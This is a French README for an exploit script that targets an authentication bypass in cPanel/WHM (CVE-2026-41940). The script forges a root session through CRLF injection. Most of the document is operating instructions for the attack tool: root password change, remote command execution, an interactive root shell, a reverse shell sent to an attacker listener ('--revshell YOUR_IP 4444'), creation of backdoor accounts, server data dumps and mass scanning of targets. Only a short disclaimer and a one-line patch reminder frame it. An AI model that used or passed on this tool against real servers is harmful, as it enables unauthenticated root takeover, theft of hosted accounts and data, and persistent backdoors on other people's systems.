
Contournement d'authentification cPanel/WHM (Vulnérabilité Zero-Day)
Avertissement : Ce document et le script associé (
exploit.py) sont fournis strictement à des fins éducatives, de recherche en sécurité et de tests d'intrusion autorisés. N'utilisez pas ce logiciel contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.
exploit.py est un script qui démontre une vulnérabilité de contournement de l'authentification (CVE-2026-41940) dans cPanel & WHM. La vulnérabilité permet à un attaquant non authentifié d'injecter une session root dans le cache du démon via une faille d'injection CRLF, accordant finalement un accès WHM de niveau root sans exiger d'identifiants valides.
L'exploit fonctionne en exploitant une vulnérabilité d'injection CRLF (Carriage Return Line Feed) dans le mécanisme de gestion de l'authentification Basic, combinée à une faille de propagation de session. Le script automatise l'attaque en quatre étapes :
/login/ ou /cgi/login.cgi) pour acquérir un cookie de session non authentifié de base (whostmgrsession).cpsrvd. La réponse de redirection du serveur divulgue le jeton de sécurité généré (cpsess).do_token_denied pour propager la session falsifiée dans le cache du démon — ce qui en fait une session authentifiée valide./json-api/version) en utilisant la session falsifiée pour confirmer l'accès de niveau root.requestspip install requests
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
| Argument | Description |
|---|---|
--target URL | URL WHM unique (par ex., https://target:2087) |
--target-file FILE | Fichier contenant les cibles (une ip:port par ligne) — active automatiquement le mode vérification |
| Argument | Description |
|---|---|
--threads N | Threads simultanés pour le mode multi-cibles (défaut : 10) |
--hostname HOST | Remplacer l'en-tête Host — à utiliser lorsque la découverte automatique échoue ou donne un mauvais nom d'hôte |
--timeout N | Délai d'expiration par requête en secondes (défaut : 15) |
--retries N | Nombre de nouvelles tentatives en cas d'erreurs réseau (défaut : 3) |
--cookie-name NAME | Forcer un nom de cookie de session spécifique (détection automatique s'il est omis) |
--no-verify | Ignorer la vérification de l'étape 4 et continuer quand même |
| Argument | Description |
|---|---|
--check | Mode vérification uniquement — vérifier la vulnérabilité sans l'exploiter (automatique avec --target-file) |
--password PASS | Changer le mot de passe root par PASS |
--api FUNC | Appeler une fonction spécifique de l'API JSON WHM |
--api-params K=V,... | Paramètres séparés par des virgules pour --api |
--exec CMD | Exécuter une commande système via WHM scripts/run_script (solution de repli : rawexec) |
--session | Générer une URL de connexion root en un clic — à ouvrir immédiatement, le jeton expire rapidement |
--shell | Ouvrir un shell WHM interactif (cible unique uniquement) |
--dump | Extraire les informations du serveur : version, comptes, zones DNS, privilèges |
--add-user USER PASS DOMAIN | Créer un nouveau compte d'hébergement cPanel |
--revshell LHOST LPORT | Envoyer un reverse shell bash vers votre écouteur |
| Argument | Description |
|---|---|
--output FILE | Enregistrer le jeton de session et les détails dans un fichier JSON |
# Vérifier si la cible est vulnérable
python exploit.py --target https://target:2087 --check
# Extraire les informations du serveur (version, comptes, privilèges)
python exploit.py --target https://target:2087 --dump
# Générer une URL de connexion root en un clic (à coller immédiatement dans le navigateur)
python exploit.py --target https://target:2087 --session
# Exécuter une commande
python exploit.py --target https://target:2087 --exec "id"
# Ouvrir un shell WHM interactif
python exploit.py --target https://target:2087 --shell
# Changer le mot de passe root
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Appeler l'API WHM directement
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Créer un compte cPanel backdoor
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Envoyer un reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Remplacer le nom d'hôte (à utiliser lorsque la découverte automatique échoue)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Analyser plusieurs cibles (mode vérification uniquement)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Enregistrer la session dans un fichier
python exploit.py --target https://target:2087 --dump --output results.json
Lorsque vous utilisez --shell, les commandes suivantes sont disponibles :
| Commande | Description |
|---|---|
api <function> [k=v ...] | Appeler une fonction de l'API JSON WHM (par ex., api version) |
exec <command> | Exécuter une commande système via WHM (par ex., exec id) |
passwd <newpass> | Changer le mot de passe root |
dump | Extraire les informations du serveur |
revshell <lhost> <lport> | Envoyer un reverse shell |
add <user> <pass> <domain> | Créer un compte cPanel |
save <path> | Enregistrer la session actuelle dans un fichier |
exit / quit | Quitter le shell |
Appliquez immédiatement les derniers correctifs de sécurité cPanel/WHM.